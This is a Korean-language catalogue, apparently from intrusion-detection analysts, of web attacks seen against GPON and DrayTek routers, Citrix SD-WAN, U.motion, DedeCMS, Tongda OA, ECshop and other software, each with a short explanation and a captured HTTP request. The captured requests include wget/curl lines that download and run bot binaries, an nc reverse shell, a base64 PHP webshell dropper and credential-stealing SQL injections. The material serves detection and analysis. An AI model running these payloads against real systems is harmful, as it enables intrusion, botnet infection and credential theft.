
Dasan GPON Routers Authentication Bypass CMD Injection
- /GponForm/diag_FORM 또는 .html 등의 객체에서 잘못 처리되 인증이 우회되는 취약점
- 취약한 라우터를 검색한 후 URL에 ?images/ 문자열을 추가해 요청
- diag_action = ping 요청의 dest_host 매개 변수에 명령어 삽입
- 라우터는 ping 결과를 /tmp에 저장하고 사용자가 .html, diag_FORM 을 다시 방문 할 때 사용자에게 전송
- 공격 성공시 사용자는 시스템에서 임의의 코드를 실행
POST /GponForm/diag_Form?images/ HTTP/1.1 |
SIP Vulnerablility Scanner(Sipvicious)
- 인터넷에 연결되어 있는 모든 장비를 검색해서 그 중에 인터넷 전화기나 PBX(기업용 전화)시스템을 찾아내기 위한 시도
- 이 후에 취약한 암호를 이용하여 국제전화번호나 프리미엄 번호에 전화를 걸어 과금 유도
- 5079 포트를 통해서 137.74.202.229 SIP의 계정번호가 맞는지 테스트 (Voip는 보통 5060, 5061 포트사용)
- User_Agent 항목에 friendly-scanner가 명시됨
Ûÿ AÒaúYE¶Âó@5ÜhîÜ1yæ×Ä¢ÕÒINVITE sip:100@121.157.230.2 SIP/2.0 Via: SIP/2.0/UDP 34.250.90.28:5079;branch=z9hG4bK-1199866471;rport Content-Length: 0 From: "sipvicious"<sip:100@1.1.1.1>;tag=3739396465363032313363340131313734313533393033 Accept: application/sdp User-Agent: friendly-scanner To: "sipvicious"<sip:100@1.1.1.1> Contact: sip:100@34.250.90.28:5079 CSeq: 1 INVITE Call-ID: 210222260901823778112960 Max-Forwards: 70 |
FCKeditor Sample Page
- editor, filemanager, connector 디렉터리를 접근하면 해당 디렉터리에 파일업로드를 통해 파일을 생성해 임의의 코드 실행
Pivotal Spring Spring Data Commons RCE
- 웹 애플리케이션을 구축할 때 널리 사용되는 플랫폼
- 특수 요소를 부적절하게 중립화하는 속성 바인더 취약점 존재
- MapDataBinder 클래스가 사용자가 제어 할 수있는 Spring Expression Language(SpEL) Expression을 부적절하게 구문 분석하고 평가 하는데서 발생
- 취약점을 이용해 공격자가 특수 T () 연산자가 포함 된 문자열을 보낼 수 있음
- Spring Data REST 지원 HTTP 리소스에 대해 특수하게 조작 된 요청 매개 변수를 제공하거나 Spring Data의 프로젝션 기반 요청 페이로드 바인딩캡를 사용하면 원격 코드 실행 공격이 가능
POST /users?page=&size=5 HTTP/1.1 ord= |
Linksys E-Series tmUnblock.cgi RCE
- Linksys E-Series는 Block 관련된 파일이 존재
- Block 파일에 존재하는 ttcp_ip 파라미터는 인증되지 않은 외부의 URL을 삽입
1) Block파라미터 종류
① /tmBlock.cgi
② /tmUnblock.cgi
③ /hndBlock.cgi
④ /hndUnblock.cgi
POST /tmUnblock.cgi HTTP/1.1 &action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1 |
Joomla HTTP Header Remote Code Execution
- 세션 데이터에 비정상 HTTP Header의 문자열이 삽입되어 잘못된 세션 핸들러 과정에서 원격 실행 코드가 utf8_general_ci에 저장되어 임의의 코드가 실행되는 취약점
- User-agent와 x-forwarded-for 헤더에 사용자의 PC 정보를 알려주는데 여기서 악의적인 코드를 삽입하여 공격
GET / HTTP/1.1 X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:56:"die(md5(DIRECTORY_SEPARATOR));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ðýýý User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Host: 211.34.79.24 Connection: Keep-Alive Cache-Control: no-cache |
Web Vulnerability Scanner
1) masscan
- masscan은 웹 서버의 설정 페이지, 허용 메소드, 비허가된 웹 페이지 및 비허가 포트 등의 취약한 부분의 존재 여부를 확인하기 위한 취약점 점검 도구
- mascan을 통해 정보를 수집하면 해당 취약점을 통해 추가적인 공격 수행 가능
GET /54685c2d0846c2996d2d0aaaa6dd5a71f27e907c.htm HTTP/1.1 Connection: close Host: 180.134.255.8 User-Agent: masscan/1.0. |
2) Zgrab
- 웹서버의 설정페이지 또는 허용 메소드, 비허가된 웹페이지 또는 비허가 포트 등 취약점한 부분의 존재여부를 확인하기 위해 사용
- HTTP 헤더 User Agent영역에 Mozilla/5.0 zgrab/ 문자열을 포함한 다수의 패킷 유입 시 정탐으로 판단
GET / HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 zgrab/ Host: 1.1.1.1 |
MVPower DVR Shell Unauthenticated Command Execution
- HTTP 요청을 처리할 때 사용자가 제공한 입력의 유효성 검사가 불충분하여 원격 공격자가 웹 인터페이스의 'shell' 파일을 이용하여 쿼리 문자열에서 임의의 시스템 명령을 실행
GET /shell?cd+/tmp;rm+-rf+*;wget+%20cnc.revolutionary.rip/jaws;sh+/tmp/jaws HTTP/1.1 |
Directory Listing
- WAS의 환결 설정 미흡으로 인한 웹 디렉터리가 외부에 노출
- 브라우징 하는 모든 파일을 보여주게 됨 (디렉토리 목록)
- 백업파일, 소스코드, 스크립트 파일 노출로 인한 다양한 정보를 공격자에게 제공함으로써 다양한 공격에 이용
- httpd.conf 파일 내 Options에서 Indexes 제거
- httpd.conf 파일 내 Directory 태그의 Option 지시자에서 Multiview 제거
File Download
- 파일을 다운로드할 때 첨부된 파일을 사용자에게 제공하는 방식에는 정적 방식과 동적 방식이 존재하는데 동적 방식을 사용할 경우 취약점 발생
- 파일 다운로드 기능이 존재하는 웹에서 파일 다운로드 시 파일의 경로 및 파일명을 파라미터로 받아 처리하는 경우 이를 적절히 필터링 하지 않으면 공격자가 이를 조작하여 허용되지 않은 파일을 다운로드할 수 있는 취약점
- 파일을 다운로드 할 경로 값을 임의로 변경(../../etc/passwd)하여 허용되지 않는 파일을 다운로드할 수 있음
- 외부 입력값에 대해 파일 경로를 변경할 수 있는 문자열에 대해 필터링 수행
- 악의적인 경로를 url 인코딩, 16bit 유니코드 인코딩, 더블 URL 인코딩으로 변경한 값도 필터링 수행
- 허용된 경로 이외의 경로는 탐색할 수 없도록 설정
Referer: http://www.test.com/sub_page/_include/download.asp ?B_CODE=/etc/passwd&IDX=44&FILE_INDEX=0 |
DrayTek Vigor Remote Code Execution
- /cgi-bin/mainfunction.cgi URI에 대한 루트 권한의 원격 코드 실행을 허용
- formLogin()에 전달되는 keyPath값을 적절하게 검증하지 못하여 발생
- 공격자는 해당 취약점을 악용하여 네트워크 트래픽 스니핑 및 백도어 설치 등이 가능하다.
CVE-2020-8515
/cgi-bin/mainfunction.cgi?action=login&keyPath=' /bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7' '&loginUser=a&loginPwd=a |
Command Injection(PHP DieScan)
- Config.php 안의 die() 명령은 PHP 스크립트를 종료하고 md5로 암호화 된 특정 문자열(Apri1) 값을 출력
- 원격코드 실행을 테스트하는 방법
Citrix SD-WAN get_package_file SQL Injection
- SD-WAN은 엔터프라이즈 네트워크 연결 및 서킷 비용 관리를 위한 자동화된 프로그램적 접근 방식
- get_package_file 요청 시 str_name 매개변수에 대한 적절한 검증이 존재하지 않아 발생
- 공격 성공 시, 피해 서버에 인증 우회 가능
- 벤더사에서 제공하는 최신버전으로 업데이트 한다.
POST /sdwan/nitro/v1/config/get_package_file?action=file_download/cgi-bin/installpatch.cgi? swc-token=%d&installfile=`%s`' % 99999; wget http://80.82.67.209/richard; curl -O http://80.82.67.209/richard; chmod +x richard; sh richard HTTP/1.0 'SSL_CLIENT_VERIFY' : 'SUCCESS' get_package_fil: site_name: 'blah' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_0';#,appliance_type: primary,package_type: active |
Schneider Electric U.motion Builder SQL Injection
- U.motion은 주택 및 빌딩 자동화 시스템의 감독 및 시각화를 위한 장치 제품군
(U.motion Builder는 U.motion 디바이스를 위한 프로젝트 생성에 사용)
- track_import_export.php를 통해 전달되는 object_id 매개변수를 적절하게 검증하지 않아 발생
- 벤더사에 해당 소프트웨어에 대한 지원을 중단하였으므로, 다른 소프트웨어를 사용한다
POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1 op=export&language=english&interval=1&object_id=cd /tmp; wget http://80.82.67.184/richard; curl -O http://80.82.67.184/richard; chmod +x richard; ./richard |
op=export&language=english&interval=1&object_id=`cd /tmp; wget http://2.2.2.2/ECHOBOT.sh; curl -O http://2.2.2.2/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; rm -rf ECHOBOT.sh; history -c`
op=export&language=english&interval=1&object_id=`nc -e /bin/sh www.wins21.com 53` |
- track_import_export.php에 전달되는 object_id 파라미터 값에 SQL Injection 공격에 사용되는 문자(;(\x3b),'(\x27),"(\x22))와 함께 SQL 쿼리문이 포함되어 있는지 여부를 제대로 검증하지 못해 발생
GET /umotion/modules/reporting/track_import_export.php?object_id=1%27%3B+ATTACH+DATABASE+%27%2Ftmp%2Fpoc.db%27+AS+poc%3B+CREATE+TABLE+poc.POC +%28code+int%29%3B-- HTTP/1.1 Accept-Encoding: identity Connection: Keep-Alive Content-Length: 0 Host: 1.1.1.1:8080 Cache-Control: no-cache HTTP/1.1 200 OK Server: nginx/1.2.1 Date: Sun, 25 Jun 2017 13:37:27 GMT Content-Type: application/octet-stream Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.4-7 Content-Disposition: attachment; filename="tracking_log_2017_06_25_15_37_27.csv" Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE Access-Control-Allow-Headers: Origin,SOAPserver,SOAPaction,Method,Accept,DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type 195 "ID";"Oggetto";"Periodo";"Timestamp";"Anno";"Mese";"Giorno";"Ora";"Settimana";"Giorno della settimana";"Valore iniziale";"Valore finale";"Valore medio";"Valore minimo";"Valore massimo";"Somma";"Contatore";"Differenza";"Integrale" <br /> <b>Warning</b>: Invalid argument supplied for foreach() in <b>/mnt/storage/RWdlabs/smartdomuspad/modules/reporting/track_import_export.php</b> on line <b>2</b><br /> 0 |
GET /umotion/modules/system/loadtemplate.php?body_template=category.tpl&tpl=1%27+Union+SELECT+group_concat%28tbl_name%29%2C2+FROM+sqlite_master+WHERE+type%3D%27table%27+and+tbl_name+NOT+like+%27sqlite_%25%27%3B--&context=runtime&format=sql HTTP/1.1 |
Synology Photostation article_id SQL Injection
- 인터넷을 통해 Synology NAS에 저장된 사진을 정리하고 볼 수 있도록 고안된 웹 기반 응용 프로그램
- label.php 에서 article_id 매개변수를 통해 전달되는 값을 적절하게 검증하지 않았기 때문에 발생
POST /photo/include/blog/label.php HTTP/1.1 Host: 1.1.1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Accept: */* Accept-Language: en-US+ Accept-Encoding: gzip, deflate Referer: 2.2.2.2 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 110 Origin: 2.2.2.2 Connection: keep-alive action=get_article_label&article_id=1%3BUPDATE+photo_share+SET+public+%3D+'true'+WHERE++public+%3D'false'%3B-- |
DedeCMS SQL Injection
- 컨텐츠 출판, 편집 및 관리 검색을 하나로 통합 한 중국에서 사용되는 PHP 기반 오픈 소스 CMS
1) search.php
- search.php에서 typeArr 매개변수를 통해 전달되는 값을 적절하게 검증하지 않았기 때문에 발생
- 악용에 성공하면 DB 사용자 계정, 암호가 노출된다
GET /missing.html HTTP/1.1 X-Forwarded-For: 1.1.1.1 Client-IP: 1.1.1.1 REMOTE_ADDR: 1.1.1.1 Accept: text/html, application/xhtml+xml, */* Content-Type: text/html User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html Referer: http://1.1.1.1/plus/search.php?keyword=as&typeArr[111%3D@`\\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,p wd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\\'`+]=a Host: 1.1.1.1 |
2) download.php
- arrs1, arrs2 배열에 대해 코드상에서 적절한 제한이 존재하지 않아 발생
- 원격의 공격자는 해당 배열에 아스키 10진수 값을 전송하여 취약점을 악용
- 악용에 성공하면 admin 계정이 공격자의 계정으로 변경
GET /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102 &arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]= 97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arr s2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32 &arrs2[]=86&arrs2 |
GET /plus/download.php?open=1&arrs1%5B%5D=99&arrs1%5B%5D=102&arrs1%5B%5D=103&arrs1%5B%5D =95&arrs1%5B%5D=100&arrs1%5B%5D=98&arrs1%5B%5D=112&arrs1%5B%5D=114&arrs1%5B%5D=101& arrs1%5B%5D=102&arrs1%5B%5D=105&arrs1%5B%5D=120&arrs2%5B%5D=109&arrs2%5B%5D=121&arrs2 %5B%5D=97&arrs2%5B%5D=100&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=83&arrs2%5B%5D =69&arrs2%5B%5D=84&arrs2%5B%5D=32&arrs2%5B%5D=96&arrs2%5B%5D=110&arrs2%5B%5D=111& arrs2%5B%5D=114&arrs2%5B%5D=109&arrs2%5B%5D=98&arrs2%5B%5D=111&arrs2%5B%5D=100&arrs2 %5B%5D=121&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B%5D=61&arrs2%5B%5D=32&arrs2%5B%5D =39&arrs2%5B%5D=60&arrs2%5B%5D=63&arrs2%5B%5D=112&arrs2%5B%5D=104&arrs2%5B%5D=112& arrs2%5B%5D=32&arrs2%5B%5D=102&arrs2%5B%5D=105&arrs2%5B%5D=108&arrs2%5B%5D=101&arrs2 %5B%5D=95&arrs2%5B%5D=112&arrs2%5B%5D=117&arrs2%5B%5D=116&arrs2%5B%5D=95&arrs2%5B %5D=99&arrs2%5B%5D=111&arrs2%5B%5D=110&arrs2%5B%5D=116&arrs2%5B%5D=101&arrs2%5B%5D =110&arrs2%5B%5D=116&arrs2%5B%5D=115&arrs2%5B%5D=40&arrs2%5B%5D=39&arrs2%5B%5D=39& arrs2%5B%5D=109&arrs2%5B%5D=111&arrs2%5B%5D=111&arrs2%5B%5D=110&arrs2%5B%5D=46&arrs2 %5B%5D=112&arrs2%5B%5D=104&arrs2%5B%5D=112&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B %5D=44&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=60&arrs2%5B%5D=63&arrs2%5B%5D=112 &arrs2%5B%5D=104&arrs2%5B%5D=112&arrs2%5B%5D=32&arrs2%5B%5D=101&arrs2%5B%5D=118&arrs2 %5B%5D=97&arrs2%5B%5D=108&arrs2%5B%5D=40&ar HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2) Host: 1.1.1.1 |
3) erraddsave.php
- arrs1, arrs2 배열에 대해 코드상에서 적절한 제한이 존재하지 않아 발생
- 원격의 공격자는 해당 배열에 아스키 10진수 값을 전송하여 취약점을 악용
- 악용에 성공하면 admin 계정이 공격자의 계정으로 변경
POST /plus/erraddsave.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded; Charset=UTF-8 Accept: */* Accept-Language: zh-cn Referer: 1.1.1.1 User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html.. X-Forwarded-For: 223.254.86.67 Client-IP: 223.254.86.67 Content-Length: 1959 Host: 1.1.1.1 dopost=saveedit&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs 1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40& arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]= 100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57 &arrs2[]=48&arrs2[]=57&arrs2[]=48&arrs2[]=44&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32& arrs2[]=101&arrs2[]=99&arrs2[]=104&arrs2[]=111&arrs2[]=32&arrs2[]=39&arrs2[]=39&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=1 01&arrs2[]=99&arrs2[]=109&arrs2[]=115&arrs2[]=32&arrs2[]=53&arrs2[]=46&arrs2[]=55&arrs2[]=32&arrs2[]=48&arrs2[]=100&arrs2[]=9 7&arrs2[]=121&arrs2[]=60&arrs2[]=98&arrs2[]=114&arrs2[]=62&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[ ]=44&arrs2[]=32&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=111&arrs2[]=114&arrs2[]=103&arrs2 []=39&arrs2[]=39&arrs2[]=59&arrs2[]=64&arrs2[]=112&arrs2[]=114&arrs2[]=101&arrs2[]=103&arrs2[]=95&arrs2[]=114&arrs2[]=101&arr s2[]=112&arrs2[]=108&arrs2[]=97&arrs2[]=99&arrs2[]=101&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=47&arrs2[]=91&arrs2[]=99&arrs 2[]=111&arrs2[]=112&arrs2[]=121&arrs2[]=114&arrs2[]=105&arrs2[]=103&arrs2[]=104&arrs2[]=116&arrs2[]=93&arrs2[]=47&arrs2[]=10 1&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=36&arrs2[]=95&arrs2[]=82&arrs2[]=69&arrs2[]=81&arrs2[]=85&arrs2[]=69&arrs2[]=83&arr s2[]=84&arrs2[]=91&arrs2[]=39&arrs2[]=39&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=39&arrs2[]=39&ar rs2[]=93&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=101&arrs2[]=114&arrs2[]=114&arrs2[]=111&arrs2[]=114&arrs2[]=39&arrs2[]=39&a rrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=0 |
4) mytag_js.php
- arrs1, arrs2 배열에 대해 코드상에서 적절한 제한이 존재하지 않아 발생
- 원격의 공격자는 해당 배열에 아스키 10진수 값을 전송하여 취약점을 악용
- 악용에 성공하면 admin 계정이 공격자의 계정으로 변경
GET /plus/mytag_js.php?dopost=saveedit&arrs1%5B%5D=99&arrs1%5B%5D=102&arrs1%5B%5D=103&arrs1 %5B%5D=95&arrs1%5B%5D=100&arrs1%5B%5D=98&arrs1%5B%5D=112&arrs1%5B%5D=114&arrs1%5B%5D =101&arrs1%5B%5D=102&arrs1%5B%5D=105&arrs1%5B%5D=120&arrs2%5B%5D=109&arrs2%5B%5D=121& arrs2%5B%5D=116&arrs2%5B%5D=97&arrs2%5B%5D=103&arrs2%5B%5D=96&arrs2%5B%5D=32&arrs2%5B %5D=40&arrs2%5B%5D=97&arrs2%5B%5D=105&arrs2%5B%5D=100&arrs2%5B%5D=44&arrs2%5B%5D=110 &arrs2%5B%5D=111&arrs2%5B%5D=114&arrs2%5B%5D=109&arrs2%5B%5D=98&arrs2%5B%5D=111&arrs2 %5B%5D=100&arrs2%5B%5D=121&arrs2%5B%5D=41&arrs2%5B%5D=32&arrs2%5B%5D=86&arrs2%5B%5D =65&arrs2%5B%5D=76&arrs2%5B%5D=85&arrs2%5B%5D=69&arrs2%5B%5D=83&arrs2%5B%5D=40&arrs2 %5B%5D=57&arrs2%5B%5D=48&arrs2%5B%5D=57&arrs2%5B%5D=48&arrs2%5B%5D=44&arrs2%5B%5D=39 &arrs2%5B%5D=60&arrs2%5B%5D=63&arrs2%5B%5D=112&arrs2%5B%5D=104&arrs2%5B%5D=112&arrs2 %5B%5D=32&arrs2%5B%5D=101&arrs2%5B%5D=99&arrs2%5B%5D=104&arrs2%5B%5D=111&arrs2%5B%5D =32&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=100&arrs2%5B%5D=101&arrs2%5B%5D=100&arrs2 %5B%5D=101&arrs2%5B%5D=99&arrs2%5B%5D=109&arrs2%5B%5D=115&arrs2%5B%5D=32&arrs2%5B%5D =53&arrs2%5B%5D=46&arrs2%5B%5D=55&arrs2%5B%5D=32&arrs2%5B%5D=48&arrs2%5B%5D=100&arrs2 %5B%5D=97&arrs2%5B%5D=121&arrs2%5B%5D=60&arrs2%5B%5D=98&arrs2%5B%5D=114&arrs2%5B%5D =62&arrs2%5B%5D=103&arrs2%5B%5D=117&arrs2%5B%5D=105&arrs2%5B%5D=103&arrs2%5B%5D=101 &arrs2%5B%5D=44&arrs2%5B%5D=32&arrs2%5B%5D=57&arrs2%5B%5D=48&arrs2%5B%5D=115&arrs2%5B %5D=101&arrs2%5B%5D=99&arrs2%5B%5D=46&arrs2%5B%5D=111&arrs2%5B%5D=114&arrs2%5B%5D=103 &arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=59&arrs2%5B%5D=64&arrs2%5B%5D=112&arrs2%5B %5D=114&arrs2%5B%5D=101&arrs2%5B%5D=103&arrs2%5B%5D=95&arrs2%5B%5D=114&arrs2%5B%5D= 101&arrs2%5B%5D=112&arrs2%5B%5D=108&arrs2%5B%5D=97&arrs2%5B%5D=99&arrs2%5B%5D=101&arrs2 %5B%5D=40&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=47&arrs2%5B%5D=91&arrs2%5B%5D=99 &arrs2%5B%5D=111&arrs2%5B%5D=112&arrs2%5B%5D=121&arrs2%5B%5D=114&arrs2%5B%5D=105&arrs2 %5B%5D=103&arrs2%5B%5D=104&arrs2%5B%5D=116&arrs2%5B%5D=93&arrs2%5B%5D=47&arrs2%5B%5D =101&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=44&arrs2%5B%5D=36&arrs2%5B%5D=95&arrs2 %5B%5D=82&arrs2%5B%5D=69&arrs2%5B%5D=81&arrs2%5B%5D=85&arrs2%5B%5D=69&arrs2%5B%5D=83 &arrs2%5B%5D=84&arrs2%5B%5D=91&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=103&arrs2%5B %5D=117&arrs2%5B%5D=105&arrs2%5B%5D=103&arrs2%5B%5D=101&arrs2%5B%5D=39&arrs2%5B%5D=39 &arrs2%5B%5D=93&arrs2%5B%5D=44&arrs2%5B%5D=39&arrs2%5B%5D=39&arrs2%5B%5D=101&arrs2%5B %5D=114&arrs2%5B%5D=114&arrs2%5B%5D=111&arrs2%5B%5D=114&arrs2%5B%5D=39&arrs2%5B%5D=39 &arrs2%5B%5D=41&arrs2%5B%5D=59&arrs2%5B%5D=63&arrs2%5B%5D=62&arrs2%5B%5D=39&arrs2%5B%5D =41&arrs2%5B%5D=59&arrs2%5B%5D=0 HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2) Host: 1.1.1.1 |
Tongda OA release.php SQL Injection
- 프로세스, 데이터 연결, 비즈니스 시스템 통합을 지원하는 중국에서 사용되는 PHP 기반 오픈 소스 CMS
- release.php 에서 entity_name 매개 변수를 통해 전달되는 값을 적절하게 검증하지 않았기 때문에 발생
- 악용에 성공하면 임의의 코드가 실행
GET /crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))} HTTP/1.1 Host: 1.1.1.1 Connection: Keep-Alive Accept-Encoding: gzip CF-IPCountry: CN X-Forwarded-For: 1.1.1.1 CF-RAY: 4e568c0b0a829d42-AMS X-Forwarded-Proto: http CF-Visitor: {"scheme":"http"} Accept: */* Accept-Language: zh-cn Referer: 2.2.2.2 User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html.. Client-IP: 2.2.2.2 CF-Connecting-IP: 1.1.1.1 CDN-Loop: cloudflare |
Comsenz Discuz faq.php SQL Injection
- MySQL, PostgreSQL을 지원하는 중국에서 많이 사용되는 PHP 기반 오픈 소스 CMS
- faq.php에서 gids 매개변수를 통해 전달되는 값을 적절하게 검증하지 않았기 때문에 발생
- 악용에 성공하면 DB 정보 획득이 가능
GET /faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 HTTP/1.1 Connection: Keep-Alive Accept: */* Accept-Language: zh-cn Referer: 1.1.1.1 User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html.. X-Forwarded-For: 1.1.1.1 Client-IP: 2.2.2.2 Host: 1.1.1.1 |
ECshop user.php SQL Injection
- 기업 및 개인이 맞춤형 온라인 상점을 신속하게 구축 할 수있는 PHP, MySQL 기반 B2C 독립 온라인 스토어 시스템
- user.php에서 $back_act 매개변수가 http referer의 검증을 제대로 처리하지 않아 발생
- 악의적으로 조작된 HTTP Request를 통해서 SQL Injecion 공격을 진행
1.1) 공격 흐름
① user.php의 $back_act 매개변수
② cls_template.php의 display()
③ lib_insert.php의 insert_mod()
④ lib_insert.php의 insert_ads()
⑤ cls_template.php의 fetch() 내부의 eval을 통해서 SQL 실행
GET /user.php?act=login HTTP/1.1 Connection: Keep-Alive Accept: */* Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:297:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A 56397764585266593239756447567564484D6F4A336C7A655846784C6E426F634363734A7A772F63476877494756325957776F4A4 6395154314E5557336C7A655630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2) Host: 1.1.1.1 |
GET /user.php?act=login HTTP/1.1 Host: 1.1.1.1:443 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca Cookie: real_ipd=1.1.1.1; ECS_ID=e4dcedc66e748365adbad5472810fed3094249d6; ECS[visit_times]=1 Connection: close |
Nelson ERP data.xml SQL Injection
- 오픈소스로 만들어진 ERP로 모든 OS를 지원하며, 재고관리, 배송 및 결제, 견전 주문등 다수의 기능 사용이 가능
- "db/utils/query/data.xml" URL을 요청 할 때 query 변수에 대해 적절한 검증이 존재하지 않아 발생
- 공격 성공 시, DB Name 과 version 획득이 가능
POST /db/utils/query/data.xml HTTP/1.1 Host: 1.1.1.1 Accept-Encoding: identity Content-Length: 423 sqlend=1&query=%27%7c%7ccast((select+chr(95)%7c%7cchr(33)%7c%7cchr(64)%7c%7c(SELECT+current_database())%7c%7cchr(9 5)%7c%7cchr(33)%7c%7cchr(64))+as+numeric)%7c%7c%27&schema=mne_application&table=userpref&cols=startweblet%2cregion %2cmslanguage%2cusername%2cloginname%2cpersonid%2clanguage%2cregionselect%2ctimezone%2ccountrycarcode%2cstylenam e%2cusername%2cstartwebletname&usernameInput.old=session_user&mneuserloginname=test |
Zoho ManageEngine SQL Injection
